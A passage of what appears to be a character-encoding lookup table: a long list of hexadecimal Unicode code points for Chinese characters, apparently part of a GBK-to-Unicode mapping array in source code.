0x8539, 0x851F, 0x853A, 0x8F45, 0x8F46, 0x8F47, 0x8F48, 0x8F49, 0x8F4A,
0x8F4B, 0x8F4C, 0x8F4D, 0x8F4E, 0x8F4F, 0x8F50, 0x8F51, 0x8F52, 0x8F53,
0x8F54, 0x8F55, 0x8F56, 0x8F57, 0x8F58, 0x8F59, 0x8F5A, 0x8F5B, 0x8F5C,
0x8F5D, 0x8F5E, 0x8F5F, 0x8F60, 0x8F61, 0x8F62, 0x8F63, 0x8F64, 0x8F65,
0x8F6A, 0x8F80, 0x8F8C, 0x8F92, 0x8F9D, 0x8FA0, 0x8FA1, 0x8FA2, 0x8FA4,
0x8FA5, 0x8FA6, 0x8FA7, 0x8FAA, 0x8FAC, 0x8FAD, 0x8FAE, 0x8FAF, 0x8FB2,
0x8FB3, 0x8FB4, 0x8FB5, 0x8FB7, 0x8FB8, 0x8FBA, 0x8FBB, 0x8FBC, 0x8FBF,
0x8FC0, 0x8FC3, 0x8FC6, 0x8FC9, 0x8FCA, 0x8FCB, 0x8FCC, 0x8FCD, 0x8FCF,
0x8FD2, 0x8FD6, 0x8FD7, 0x8FDA, 0x8FE0, 0x8FE1, 0x8FE3, 0x8FE7, 0x8FEC,
0x8FEF, 0x8FF1, 0x8FF2, 0x8FF4, 0x8FF5, 0x8FF6, 0x8FFA, 0x8FFB, 0x8FFC,
0x8FFE, 0x8FFF, 0x9007, 0x9008, 0x900C, 0x900E, 0x9013, 0x9015, 0x9018,
0x8556, 0x853B, 0x84FF, 0x84FC, 0x8559, 0x8548, 0x8568, 0x8564, 0x855E,
0x857A, 0x77A2, 0x8543, 0x8572, 0x857B, 0x85A4, 0x85A8, 0x8587, 0x858F,
0x8579, 0x85AE, 0x859C, 0x8585, 0x85B9, 0x85B7, 0x85B0, 0x85D3, 0x85C1,
0x85DC, 0x85FF, 0x8627, 0x8605, 0x8629, 0x8616, 0x863C, 0x5EFE, 0x5F08,
0x593C, 0x5941, 0x8037, 0x5955, 0x595A, 0x5958, 0x530F, 0x5C22, 0x5C25,
0x5C2C, 0x5C34, 0x624C, 0x626A, 0x629F, 0x62BB, 0x62CA, 0x62DA, 0x62D7,
0x62EE, 0x6322, 0x62F6, 0x6339, 0x634B, 0x6343, 0x63AD, 0x63F6, 0x6371,
0x637A, 0x638E, 0x63B4, 0x636D, 0x63AC, 0x638A, 0x6369, 0x63AE, 0x63BC,
0x63F2, 0x63F8, 0x63E0, 0x63FF, 0x63C4, 0x63DE, 0x63CE, 0x6452, 0x63C6,
0x63BE, 0x6445, 0x6441, 0x640B, 0x641B, 0x6420, 0x640C, 0x6426, 0x6421,
0x645E, 0x6484, 0x646D, 0x6496, 0x9019, 0x901C, 0x9023, 0x9024, 0x9025,
0x9027, 0x9028, 0x9029, 0x902A, 0x902B, 0x902C, 0x9030, 0x9031, 0x9032,
0x9033, 0x9034, 0x9037, 0x9039, 0x903A, 0x903D, 0x903F, 0x9040, 0x9043,
0x9045, 0x9046, 0x9048, 0x9049, 0x904A, 0x904B, 0x904C, 0x904E, 0x9054,
0x9055, 0x9056, 0x9059, 0x905A, 0x905C, 0x905D, 0x905E, 0x905F, 0x9060,
0x9061, 0x9064, 0x9066, 0x9067, 0x9069, 0x906A, 0x906B, 0x906C, 0x906F,
0x9070, 0x9071, 0x9072, 0x9073, 0x9076, 0x9077, 0x9078, 0x9079, 0x907A,
0x907B, 0x907C, 0x907E, 0x9081, 0x9084, 0x9085, 0x9086, 0x9087, 0x9089,
0x908A, 0x908C, 0x908D, 0x908E, 0x908F, 0x9090, 0x9092, 0x9094, 0x9096,
0x9098, 0x909A, 0x909C, 0x909E, 0x909F, 0x90A0, 0x90A4, 0x90A5, 0x90A7,
0x90A8, 0x90A9, 0x90AB, 0x90AD, 0x90B2, 0x90B7, 0x90BC, 0x90BD, 0x90BF,
0x90C0, 0x647A, 0x64B7, 0x64B8, 0x6499, 0x64BA, 0x64C0, 0x64D0, 0x64D7,
0x64E4, 0x64E2, 0x6509, 0x6525, 0x652E, 0x5F0B, 0x5FD2, 0x7519, 0x5F11,
0x535F, 0x53F1, 0x53FD, 0x53E9, 0x53E8, 0x53FB, 0x5412, 0x5416, 0x5406,
0x544B, 0x5452, 0x5453, 0x5454, 0x5456, 0x5443, 0x5421, 0x5457, 0x5459,
0x5423, 0x5432, 0x5482, 0x5494, 0x5477, 0x5471, 0x5464, 0x549A, 0x549B,
0x5484, 0x5476, 0x5466, 0x549D, 0x54D0, 0x54AD, 0x54C2, 0x54B4, 0x54D2,
0x54A7, 0x54A6, 0x54D3, 0x54D4, 0x5472, 0x54A3, 0x54D5, 0x54BB, 0x54BF,
0x54CC, 0x54D9, 0x54DA, 0x54DC, 0x54A9, 0x54AA, 0x54A4, 0x54DD, 0x54CF,
0x54DE, 0x551B, 0x54E7, 0x5520, 0x54FD, 0x5514, 0x54F3, 0x5522, 0x5523,
0x550F, 0x5511, 0x5527, 0x552A, 0x5567, 0x558F, 0x55B5, 0x5549, 0x556D,
0x5541, 0x5555, 0x553F, 0x5550, 0x553C, 0x90C2, 0x90C3, 0x90C6, 0x90C8,
0x90C9, 0x90CB, 0x90CC, 0x90CD, 0x90D2, 0x90D4, 0x90D5, 0x90D6, 0x90D8,
0x90D9, 0x90DA, 0x90DE, 0x90DF, 0x90E0, 0x90E3, 0x90E4, 0x90E5, 0x90E9,
0x90EA, 0x90EC, 0x90EE, 0x90F0, 0x90F1, 0x90F2, 0x90F3, 0x90F5, 0x90F6,
0x90F7, 0x90F9, 0x90FA, 0x90FB, 0x90FC, 0x90FF, 0x9100, 0x9101, 0x9103,
0x9105, 0x9106, 0x9107, 0x9108, 0x9109, 0x910A, 0x910B, 0x910C, 0x910D,
0x910E, 0x910F, 0x9110, 0x9111, 0x9112, 0x9113, 0x9114, 0x9115, 0x9116,
0x9117, 0x9118, 0x911A, 0x911B, 0x911C, 0x911D, 0x911F, 0x9120, 0x9121,
0x9124, 0x9125, 0x9126, 0x9127, 0x9128, 0x9129, 0x912A, 0x912B, 0x912C,
0x912D, 0x912E, 0x9130, 0x9132, 0x9133, 0x9134, 0x9135, 0x9136, 0x9137,
0x9138, 0x913A, 0x913B, 0x913C, 0x913D, 0x913E, 0x913F, 0x9140, 0x9141,
0x9142, 0x9144, 0x5537, 0x5556, 0x5575, 0x5576, 0x5577, 0x5533, 0x5530,
0x555C, 0x558B, 0x55D2, 0x5583, 0x55B1, 0x55B9, 0x5588, 0x5581, 0x559F,
0x557E, 0x55D6, 0x5591, 0x557B, 0x55DF, 0x55BD, 0x55BE, 0x5594, 0x5599,
0x55EA, 0x55F7, 0x55C9, 0x561F, 0x55D1, 0x55EB, 0x55EC, 0x55D4, 0x55E6,
0x55DD, 0x55C4, 0x55EF, 0x55E5, 0x55F2, 0x55F3, 0x55CC, 0x55CD, 0x55E8,
0x55F5, 0x55E4, 0x8F94, 0x561E, 0x5608, 0x560C, 0x5601, 0x5624, 0x5623,
0x55FE, 0x5600, 0x5627, 0x562D, 0x5658, 0x5639, 0x5657, 0x562C, 0x564D,
0x5662, 0x5659, 0x565C, 0x564C, 0x5654, 0x5686, 0x5664, 0x5671, 0x566B,
0x567B, 0x567C, 0x5685, 0x5693, 0x56AF, 0x56D4, 0x56D7, 0x56DD, 0x56E1,
0x56F5, 0x56EB, 0x56F9, 0x56FF, 0x5704, 0x570A, 0x5709, 0x571C, 0x5E0F,
0x5E19, 0x5E14, 0x5E11, 0x5E31, 0x5E3B, 0x5E3C, 0x9145, 0x9147, 0x9148,
0x9151, 0x9153, 0x9154, 0x9155, 0x9156, 0x9158, 0x9159, 0x915B, 0x915C,
0x915F, 0x9160, 0x9166, 0x9167, 0x9168, 0x916B, 0x916D, 0x9173, 0x917A,
0x917B, 0x917C, 0x9180, 0x9181, 0x9182, 0x9183, 0x9184, 0x9186, 0x9188,
0x918A, 0x918E, 0x918F, 0x9193, 0x9194, 0x9195, 0x9196, 0x9197, 0x9198,
0x9199, 0x919C, 0x919D, 0x919E, 0x919F, 0x91A0, 0x91A1, 0x91A4, 0x91A5,
0x91A6, 0x91A7, 0x91A8, 0x91A9, 0x91AB, 0x91AC, 0x91B0, 0x91B1, 0x91B2,
0x91B3, 0x91B6, 0x91B7, 0x91B8, 0x91B9, 0x91BB, 0x91BC, 0x91BD, 0x91BE,
0x91BF, 0x91C0, 0x91C1, 0x91C2, 0x91C3, 0x91C4, 0x91C5, 0x91C6, 0x91C8,
0x91CB, 0x91D0, 0x91D2, 0x91D3, 0x91D4, 0x91D5, 0x91D6, 0x91D7, 0x91D8,
0x91D9, 0x91DA, 0x91DB, 0x91DD, 0x91DE, 0x91DF, 0x91E0, 0x91E1, 0x91E2,
0x91E3, 0x91E4, 0x91E5, 0x5E37, 0x5E44, 0x5E54, 0x5E5B, 0x5E5E, 0x5E61,
0x5C8C, 0x5C7A, 0x5C8D, 0x5C90, 0x5C96, 0x5C88, 0x5C98, 0x5C99, 0x5C91,
0x5C9A, 0x5C9C, 0x5CB5, 0x5CA2, 0x5CBD, 0x5CAC, 0x5CAB, 0x5CB1, 0x5CA3,
0x5CC1, 0x5CB7, 0x5CC4, 0x5CD2, 0x5CE4, 0x5CCB, 0x5CE5, 0x5D02, 0x5D03,
0x5D27, 0x5D26, 0x5D2E, 0x5D24, 0x5D1E, 0x5D06, 0x5D1B, 0x5D58, 0x5D3E,
0x5D34, 0x5D3D, 0x5D6C, 0x5D5B, 0x5D6F, 0x5D5D, 0x5D6B, 0x5D4B, 0x5D4A,
0x5D69, 0x5D74, 0x5D82, 0x5D99, 0x5D9D, 0x8C73, 0x5DB7, 0x5DC5, 0x5F73,
0x5F77, 0x5F82, 0x5F87, 0x5F89, 0x5F8C, 0x5F95, 0x5F99, 0x5F9C, 0x5FA8,
0x5FAD, 0x5FB5, 0x5FBC, 0x8862, 0x5F61, 0x72AD, 0x72B0, 0x72B4, 0x72B7,
0x72B8, 0x72C3, 0x72C1, 0x72CE, 0x72CD, 0x72D2, 0x72E8, 0x72EF, 0x72E9,
0x72F2, 0x72F4, 0x72F7, 0x7301, 0x72F3, 0x7303, 0x72FA, 0x91E6, 0x91E7,
0x91E8, 0x91E9, 0x91EA, 0x91EB, 0x91EC, 0x91ED, 0x91EE, 0x91EF, 0x91F0,
0x91F1, 0x91F2, 0x91F3, 0x91F4, 0x91F5, 0x91F6, 0x91F7, 0x91F8, 0x91F9,
0x91FA, 0x91FB, 0x91FC, 0x91FD, 0x91FE, 0x91FF, 0x9200, 0x9201, 0x9202,
0x9203, 0x9204, 0x9205, 0x9206, 0x9207, 0x9208, 0x9209, 0x920A, 0x920B,
0x920C, 0x920D, 0x920E, 0x920F, 0x9210, 0x9211, 0x9212, 0x9213, 0x9214,
0x9215, 0x9216, 0x9217, 0x9218, 0x9219, 0x921A, 0x921B, 0x921C, 0x921D,
0x921E, 0x921F, 0x9220, 0x9221, 0x9222, 0x9223, 0x9224, 0x9225, 0x9226,
0x9227, 0x9228, 0x9229, 0x922A, 0x922B, 0x922C, 0x922D, 0x922E, 0x922F,
0x9230, 0x9231, 0x9232, 0x9233, 0x9234, 0x9235, 0x9236, 0x9237, 0x9238,
0x9239, 0x923A, 0x923B, 0x923C, 0x923D, 0x923E, 0x923F, 0x9240, 0x9241,
0x9242, 0x9243, 0x9244, 0x9245, 0x72FB, 0x7317, 0x7313, 0x7321, 0x730A,
0x731E, 0x731D, 0x7315, 0x7322, 0x7339, 0x7325, 0x732C, 0x7338, 0x7331,
0x7350, 0x734D, 0x7357, 0x7360, 0x736C, 0x736F, 0x737E, 0x821B, 0x5925,
0x98E7, 0x5924, 0x5902, 0x9963, 0x9967, 0x9968, 0x9969, 0x996A, 0x996B,
0x996C, 0x9974, 0x9977, 0x997D, 0x9980, 0x9984, 0x9987, 0x998A, 0x998D,
0x9990, 0x9991, 0x9993, 0x9994, 0x9995, 0x5E80, 0x5E91, 0x5E8B, 0x5E96,
0x5EA5, 0x5EA0, 0x5EB9, 0x5EB5, 0x5EBE, 0x5EB3, 0x8D53, 0x5ED2, 0x5ED1,
0x5EDB, 0x5EE8, 0x5EEA, 0x81BA, 0x5FC4, 0x5FC9, 0x5FD6, 0x5FCF, 0x6003,
0x5FEE, 0x6004, 0x5FE1, 0x5FE4, 0x5FFE, 0x6005, 0x6006, 0x5FEA, 0x5FED,
0x5FF8, 0x6019, 0x6035, 0x6026, 0x601B, 0x600F, 0x600D, 0x6029, 0x602B,
0x600A, 0x603F, 0x6021, 0x6078, 0x6079, 0x607B, 0x607A, 0x6042, 0x9246,
0x9247, 0x9248, 0x9249, 0x924A, 0x924B, 0x924C, 0x924D, 0x924E, 0x924F,
0x9250, 0x9251, 0x9252, 0x9253, 0x9254, 0x9255, 0x9256, 0x9257, 0x9258,
0x9259, 0x925A, 0x925B, 0x925C, 0x925D, 0x925E, 0x925F, 0x9260, 0x9261,
0x9262, 0x9263, 0x9264, 0x9265, 0x9266, 0x9267, 0x9268, 0x9269, 0x926A,
0x926B, 0x926C, 0x926D, 0x926E, 0x926F, 0x9270, 0x9271, 0x9272, 0x9273,
0x9275, 0x9276, 0x9277, 0x9278, 0x9279, 0x927A, 0x927B, 0x927C, 0x927D,
0x927E, 0x927F, 0x9280, 0x9281, 0x9282, 0x9283, 0x9284, 0x9285, 0x9286,
0x9287, 0x9288, 0x9289, 0x928A, 0x928B, 0x928C, 0x928D, 0x928F, 0x9290,
0x9291, 0x9292, 0x9293, 0x9294, 0x9295, 0x9296, 0x9297, 0x9298, 0x9299,
0x929A, 0x929B, 0x929C, 0x929D, 0x929E, 0x929F, 0x92A0, 0x92A1, 0x92A2,
0x92A3, 0x92A4, 0x92A5, 0x92A6, 0x92A7, 0x606A, 0x607D, 0x6096, 0x609A,
0x60AD, 0x609D, 0x6083, 0x6092, 0x608C, 0x609B, 0x60EC, 0x60BB, 0x60B1,
0x60DD, 0x60D8, 0x60C6, 0x60DA, 0x60B4, 0x6120, 0x6126, 0x6115, 0x6123,
0x60F4, 0x6100, 0x610E, 0x612B, 0x614A, 0x6175, 0x61AC, 0x6194, 0x61A7,
0x61B7, 0x61D4, 0x61F5, 0x5FDD, 0x96B3, 0x95E9, 0x95EB, 0x95F1, 0x95F3,
0x95F5, 0x95F6, 0x95FC, 0x95FE, 0x9603, 0x9604, 0x9606, 0x9608, 0x960A,
0x960B, 0x960C, 0x960D, 0x960F, 0x9612, 0x9615, 0x9616, 0x9617, 0x9619,
0x961A, 0x4E2C, 0x723F, 0x6215, 0x6C35, 0x6C54, 0x6C5C, 0x6C4A, 0x6CA3,
0x6C85, 0x6C90, 0x6C94, 0x6C8C, 0x6C68, 0x6C69, 0x6C74, 0x6C76, 0x6C86,
0x6CA9, 0x6CD0, 0x6CD4, 0x6CAD, 0x6CF7, 0x6CF8, 0x6CF1, 0x6CD7, 0x6CB2,
0x6CE0, 0x6CD6, 0x6CFA, 0x6CEB, 0x6CEE, 0x6CB1, 0x6CD3, 0x6CEF, 0x6CFE,
0x92A8, 0x92A9, 0x92AA, 0x92AB, 0x92AC, 0x92AD, 0x92AF, 0x92B0, 0x92B1,
0x92B2, 0x92B3, 0x92B4, 0x92B5, 0x92B6, 0x92B7, 0x92B8, 0x92B9, 0x92BA,
0x92BB, 0x92BC, 0x92BD, 0x92BE, 0x92BF, 0x92C0, 0x92C1, 0x92C2, 0x92C3,
0x92C4, 0x92C5, 0x92C6, 0x92C7, 0x92C9, 0x92CA, 0x92CB, 0x92CC, 0x92CD,
0x92CE, 0x92CF, 0x92D0, 0x92D1, 0x92D2, 0x92D3, 0x92D4, 0x92D5, 0x92D6,
0x92D7, 0x92D8, 0x92D9, 0x92DA, 0x92DB, 0x92DC, 0x92DD, 0x92DE, 0x92DF,
0x92E0, 0x92E1, 0x92E2, 0x92E3, 0x92E4, 0x92E5, 0x92E6, 0x92E7, 0x92E8,
0x92E9, 0x92EA, 0x92EB, 0x92EC, 0x92ED, 0x92EE, 0x92EF, 0x92F0, 0x92F1,
0x92F2, 0x92F3, 0x92F4, 0x92F5, 0x92F6, 0x92F7, 0x92F8, 0x92F9, 0x92FA,
0x92FB, 0x92FC, 0x92FD, 0x92FE, 0x92FF, 0x9300, 0x9301, 0x9302, 0x9303,
0x9304, 0x9305, 0x9306, 0x9307, 0x9308, 0x9309, 0x6D39, 0x6D27, 0x6D0C,
0x6D43, 0x6D48, 0x6D07, 0x6D04, 0x6D19, 0x6D0E, 0x6D2B, 0x6D4D, 0x6D2E,
0x6D35, 0x6D1A, 0x6D4F, 0x6D52, 0x6D54, 0x6D33, 0x6D91, 0x6D6F, 0x6D9E,
0x6DA0, 0x6D5E, 0x6D93, 0x6D94, 0x6D5C, 0x6D60, 0x6D7C, 0x6D63, 0x6E1A,
0x6DC7, 0x6DC5, 0x6DDE, 0x6E0E, 0x6DBF, 0x6DE0, 0x6E11, 0x6DE6, 0x6DDD,
0x6DD9, 0x6E16, 0x6DAB, 0x6E0C, 0x6DAE, 0x6E2B, 0x6E6E, 0x6E4E, 0x6E6B,
0x6EB2, 0x6E5F, 0x6E86, 0x6E53, 0x6E54, 0x6E32, 0x6E25, 0x6E44, 0x6EDF,
0x6EB1, 0x6E98, 0x6EE0, 0x6F2D, 0x6EE2, 0x6EA5, 0x6EA7, 0x6EBD, 0x6EBB,
0x6EB7, 0x6ED7, 0x6EB4, 0x6ECF, 0x6E8F, 0x6EC2, 0x6E9F, 0x6F62, 0x6F46,
0x6F47, 0x6F24, 0x6F15, 0x6EF9, 0x6F2F, 0x6F36, 0x6F4B, 0x6F74, 0x6F2A,
0x6F09, 0x6F29, 0x6F89, 0x6F8D, 0x6F8C, 0x6F78, 0x6F72, 0x6F7C, 0x6F7A,
0x6FD1, 0x930A, 0x930B, 0x930C, 0x930D, 0x930E, 0x930F, 0x9310, 0x9311,
0x9312, 0x9313, 0x9314, 0x9315, 0x9316, 0x9317, 0x9318, 0x9319, 0x931A,
0x931B, 0x931C, 0x931D, 0x931E, 0x931F, 0x9320, 0x9321, 0x9322, 0x9323,
0x9324, 0x9325, 0x9326, 0x9327, 0x9328, 0x9329, 0x932A, 0x932B, 0x932C,
0x932D, 0x932E, 0x932F, 0x9330, 0x9331, 0x9332, 0x9333, 0x9334, 0x9335,
0x9336, 0x9337, 0x9338, 0x9339, 0x933A, 0x933B, 0x933C, 0x933D, 0x933F,
0x9340, 0x9341, 0x9342, 0x9343, 0x9344, 0x9345, 0x9346, 0x9347, 0x9348,
0x9349, 0x934A, 0x934B, 0x934C, 0x934D, 0x934E, 0x934F, 0x9350, 0x9351,
0x9352, 0x9353, 0x9354, 0x9355, 0x9356, 0x9357, 0x9358, 0x9359, 0x935A,
0x935B, 0x935C, 0x935D, 0x935E, 0x935F, 0x9360, 0x9361, 0x9362, 0x9363,
0x9364, 0x9365, 0x9366, 0x9367, 0x9368, 0x9369, 0x936B, 0x6FC9, 0x6FA7,
0x6FB9, 0x6FB6, 0x6FC2, 0x6FE1, 0x6FEE, 0x6FDE, 0x6FE0, 0x6FEF, 0x701A,
0x7023, 0x701B, 0x7039, 0x7035, 0x704F, 0x705E, 0x5B80, 0x5B84, 0x5B95,
0x5B93, 0x5BA5, 0x5BB8, 0x752F, 0x9A9E, 0x6434, 0x5BE4, 0x5BEE, 0x8930,
0x5BF0, 0x8E47, 0x8B07, 0x8FB6, 0x8FD3, 0x8FD5, 0x8FE5, 0x8FEE, 0x8FE4,
0x8FE9, 0x8FE6, 0x8FF3, 0x8FE8, 0x9005, 0x9004, 0x900B, 0x9026, 0x9011,
0x900D, 0x9016, 0x9021, 0x9035, 0x9036, 0x902D, 0x902F, 0x9044, 0x9051,
0x9052, 0x9050, 0x9068, 0x9058, 0x9062, 0x905B, 0x66B9, 0x9074, 0x907D,
0x9082, 0x9088, 0x9083, 0x908B, 0x5F50, 0x5F57, 0x5F56, 0x5F58, 0x5C3B,
0x54AB, 0x5C50, 0x5C59, 0x5B71, 0x5C63, 0x5C66, 0x7FBC, 0x5F2A, 0x5F29,
0x5F2D, 0x8274, 0x5F3C, 0x9B3B, 0x5C6E, 0x5981, 0x5983, 0x598D, 0x59A9,
0x59AA, 0x59A3, 0x936C, 0x936D, 0x936E, 0x936F, 0x9370, 0x9371, 0x9372,
0x9373, 0x9374, 0x9375, 0x9376, 0x9377, 0x9378, 0x9379, 0x937A, 0x937B,
0x937C, 0x937D, 0x937E, 0x937F, 0x9380, 0x9381, 0x9382, 0x9383, 0x9384,
0x9385, 0x9386, 0x9387, 0x9388, 0x9389, 0x938A, 0x938B, 0x938C, 0x938D,
0x938E, 0x9390, 0x9391, 0x9392, 0x9393, 0x9394, 0x9395, 0x9396, 0x9397,
0x9398, 0x9399, 0x939A, 0x939B, 0x939C, 0x939D, 0x939E, 0x939F, 0x93A0,
0x93A1, 0x93A2, 0x93A3, 0x93A4, 0x93A5, 0x93A6, 0x93A7, 0x93A8, 0x93A9,
0x93AA, 0x93AB, 0x93AC, 0x93AD, 0x93AE, 0x93AF, 0x93B0, 0x93B1, 0x93B2,
0x93B3, 0x93B4, 0x93B5, 0x93B6, 0x93B7, 0x93B8, 0x93B9, 0x93BA, 0x93BB,
0x93BC, 0x93BD, 0x93BE, 0x93BF, 0x93C0, 0x93C1, 0x93C2, 0x93C3, 0x93C4,
0x93C5, 0x93C6, 0x93C7, 0x93C8, 0x93C9, 0x93CB, 0x93CC, 0x93CD, 0x5997,
0x59CA, 0x59AB, 0x599E, 0x59A4, 0x59D2, 0x59B2, 0x59AF, 0x59D7, 0x59BE,
0x5A05, 0x5A06, 0x59DD, 0x5A08, 0x59E3, 0x59D8, 0x59F9, 0x5A0C, 0x5A09,
0x5A32, 0x5A34, 0x5A11, 0x5A23, 0x5A13, 0x5A40, 0x5A67, 0x5A4A, 0x5A55,
0x5A3C, 0x5A62, 0x5A75, 0x80EC, 0x5AAA, 0x5A9B, 0x5A77, 0x5A7A, 0x5ABE,
0x5AEB, 0x5AB2, 0x5AD2, 0x5AD4, 0x5AB8, 0x5AE0, 0x5AE3, 0x5AF1, 0x5AD6,
0x5AE6, 0x5AD8, 0x5ADC, 0x5B09, 0x5B17, 0x5B16, 0x5B32, 0x5B37, 0x5B40,
0x5C15, 0x5C1C, 0x5B5A, 0x5B65, 0x5B73, 0x5B51, 0x5B53, 0x5B62, 0x9A75,
0x9A77, 0x9A78, 0x9A7A, 0x9A7F, 0x9A7D, 0x9A80, 0x9A81, 0x9A85, 0x9A88,
0x9A8A, 0x9A90, 0x9A92, 0x9A93, 0x9A96, 0x9A98, 0x9A9B, 0x9A9C, 0x9A9D,
0x9A9F, 0x9AA0, 0x9AA2, 0x9AA3, 0x9AA5, 0x9AA7, 0x7E9F, 0x7EA1, 0x7EA3,
0x7EA5, 0x7EA8, 0x7EA9, 0x93CE, 0x93CF, 0x93D0, 0x93D1, 0x93D2, 0x93D3,
0x93D4, 0x93D5, 0x93D7, 0x93D8, 0x93D9, 0x93DA, 0x93DB, 0x93DC, 0x93DD,
0x93DE, 0x93DF, 0x93E0, 0x93E1, 0x93E2, 0x93E3, 0x93E4, 0x93E5, 0x93E6,
0x93E7, 0x93E8, 0x93E9, 0x93EA, 0x93EB, 0x93EC, 0x93ED, 0x93EE, 0x93EF,
0x93F0, 0x93F1, 0x93F2, 0x93F3, 0x93F4, 0x93F5, 0x93F6, 0x93F7, 0x93F8,
0x93F9, 0x93FA, 0x93FB, 0x93FC, 0x93FD, 0x93FE, 0x93FF, 0x9400, 0x9401,
0x9402, 0x9403, 0x9404, 0x9405, 0x9406, 0x9407, 0x9408, 0x9409, 0x940A,
0x940B, 0x940C, 0x940D, 0x940E, 0x940F, 0x9410, 0x9411, 0x9412, 0x9413,
0x9414, 0x9415, 0x9416, 0x9417, 0x9418, 0x9419, 0x941A, 0x941B, 0x941C,
0x941D, 0x941E, 0x941F, 0x9420, 0x9421, 0x9422, 0x9423, 0x9424, 0x9425,
0x9426, 0x9427, 0x9428, 0x9429, 0x942A, 0x942B, 0x942C, 0x942D, 0x942E,
0x7EAD, 0x7EB0, 0x7EBE, 0x7EC0, 0x7EC1, 0x7EC2, 0x7EC9, 0x7ECB, 0x7ECC,
0x7ED0, 0x7ED4, 0x7ED7, 0x7EDB, 0x7EE0, 0x7EE1, 0x7EE8, 0x7EEB, 0x7EEE,
0x7EEF, 0x7EF1, 0x7EF2, 0x7F0D, 0x7EF6, 0x7EFA, 0x7EFB, 0x7EFE, 0x7F01,
0x7F02, 0x7F03, 0x7F07, 0x7F08, 0x7F0B, 0x7F0C, 0x7F0F, 0x7F11, 0x7F12,
0x7F17, 0x7F19, 0x7F1C, 0x7F1B, 0x7F1F, 0x7F21, 0x7F22, 0x7F23, 0x7F24,
0x7F25, 0x7F26, 0x7F27, 0x7F2A, 0x7F2B, 0x7F2C, 0x7F2D, 0x7F2F, 0x7F30,
0x7F31, 0x7F32, 0x7F33, 0x7F35, 0x5E7A, 0x757F, 0x5DDB, 0x753E, 0x9095,
0x738E, 0x7391, 0x73AE, 0x73A2, 0x739F, 0x73CF, 0x73C2, 0x73D1, 0x73B7,
0x73B3, 0x73C0, 0x73C9, 0x73C8, 0x73E5, 0x73D9, 0x987C, 0x740A, 0x73E9,
0x73E7, 0x73DE, 0x73BA, 0x73F2, 0x740F, 0x742A, 0x745B, 0x7426, 0x7425,
0x7428, 0x7430, 0x742E, 0x742C, 0x942F, 0x9430, 0x9431, 0x9432, 0x9433,
0x9434, 0x9435, 0x9436, 0x9437, 0x9438, 0x9439, 0x943A, 0x943B, 0x943C,
0x943D, 0x943F, 0x9440, 0x9441, 0x9442, 0x9443, 0x9444, 0x9445, 0x9446,
0x9447, 0x9448, 0x9449, 0x944A, 0x944B, 0x944C, 0x944D, 0x944E, 0x944F,
0x9450, 0x9451, 0x9452, 0x9453, 0x9454, 0x9455, 0x9456, 0x9457, 0x9458,
0x9459, 0x945A, 0x945B, 0x945C, 0x945D, 0x945E, 0x945F, 0x9460, 0x9461,
0x9462, 0x9463, 0x9464, 0x9465, 0x9466, 0x9467, 0x9468, 0x9469, 0x946A,
0x946C, 0x946D, 0x946E, 0x946F, 0x9470, 0x9471, 0x9472, 0x9473, 0x9474,
0x9475, 0x9476, 0x9477, 0x9478, 0x9479, 0x947A, 0x947B, 0x947C, 0x947D,
0x947E, 0x947F, 0x9480, 0x9481, 0x9482, 0x9483, 0x9484, 0x9491, 0x9496,
0x9498, 0x94C7, 0x94CF, 0x94D3, 0x94D4, 0x94DA, 0x94E6, 0x94FB, 0x951C,
0x9520, 0x741B, 0x741A, 0x7441, 0x745C, 0x7457, 0x7455, 0x7459, 0x7477,
0x746D, 0x747E, 0x749C, 0x748E, 0x7480, 0x7481, 0x7487, 0x748B, 0x749E,
0x74A8, 0x74A9, 0x7490, 0x74A7, 0x74D2, 0x74BA, 0x97EA, 0x97EB, 0x97EC,
0x674C, 0x6753, 0x675E, 0x6748, 0x6769, 0x67A5, 0x6787, 0x676A, 0x6773,
0x6798, 0x67A7, 0x6775, 0x67A8, 0x679E, 0x67AD, 0x678B, 0x6777, 0x677C,
0x67F0, 0x6809, 0x67D8, 0x680A, 0x67E9, 0x67B0, 0x680C, 0x67D9, 0x67B5,
0x67DA, 0x67B3, 0x67DD, 0x6800, 0x67C3, 0x67B8, 0x67E2, 0x680E, 0x67C1,
0x67FD, 0x6832, 0x6833, 0x6860, 0x6861, 0x684E, 0x6862, 0x6844, 0x6864,
0x6883, 0x681D, 0x6855, 0x6866, 0x6841, 0x6867, 0x6840, 0x683E, 0x684A,
0x6849, 0x6829, 0x68B5, 0x688F, 0x6874, 0x6877, 0x6893, 0x686B, 0x68C2,
0x696E, 0x68FC, 0x691F, 0x6920, 0x68F9, 0x9527, 0x9533, 0x953D, 0x9543,
0x9548, 0x954B, 0x9555, 0x955A, 0x9560, 0x956E, 0x9574, 0x9575, 0x9577,
0x9578, 0x9579, 0x957A, 0x957B, 0x957C, 0x957D, 0x957E, 0x9580, 0x9581,
0x9582, 0x9583, 0x9584, 0x9585, 0x9586, 0x9587, 0x9588, 0x9589, 0x958A,
0x958B, 0x958C, 0x958D, 0x958E, 0x958F, 0x9590, 0x9591, 0x9592, 0x9593,
0x9594, 0x9595, 0x9596, 0x9597, 0x9598, 0x9599, 0x959A, 0x959B, 0x959C,
0x959D, 0x959E, 0x959F, 0x95A0, 0x95A1, 0x95A2, 0x95A3, 0x95A4, 0x95A5,
0x95A6, 0x95A7, 0x95A8, 0x95A9, 0x95AA, 0x95AB, 0x95AC, 0x95AD, 0x95AE,
0x95AF, 0x95B0, 0x95B1, 0x95B2, 0x95B3, 0x95B4, 0x95B5, 0x95B6, 0x95B7,
0x95B8, 0x95B9, 0x95BA, 0x95BB, 0x95BC, 0x95BD, 0x95BE, 0x95BF, 0x95C0,
0x95C1, 0x95C2, 0x95C3, 0x95C4, 0x95C5, 0x95C6, 0x95C7, 0x95C8, 0x95C9,
0x95CA, 0x95CB, 0x6924, 0x68F0, 0x690B, 0x6901, 0x6957, 0x68E3, 0x6910,
0x6971, 0x6939, 0x6960, 0x6942, 0x695D, 0x6984, 0x696B, 0x6980, 0x6998,
0x6978, 0x6934, 0x69CC, 0x6987, 0x6988, 0x69CE, 0x6989, 0x6966, 0x6963,
0x6979, 0x699B, 0x69A7, 0x69BB, 0x69AB, 0x69AD, 0x69D4, 0x69B1, 0x69C1,
0x69CA, 0x69DF, 0x6995, 0x69E0, 0x698D, 0x69FF, 0x6A2F, 0x69ED, 0x6A17,
0x6A18, 0x6A65, 0x69F2, 0x6A44, 0x6A3E, 0x6AA0, 0x6A50, 0x6A5B, 0x6A35,
0x6A8E, 0x6A79, 0x6A3D, 0x6A28, 0x6A58, 0x6A7C, 0x6A91, 0x6A90, 0x6AA9,
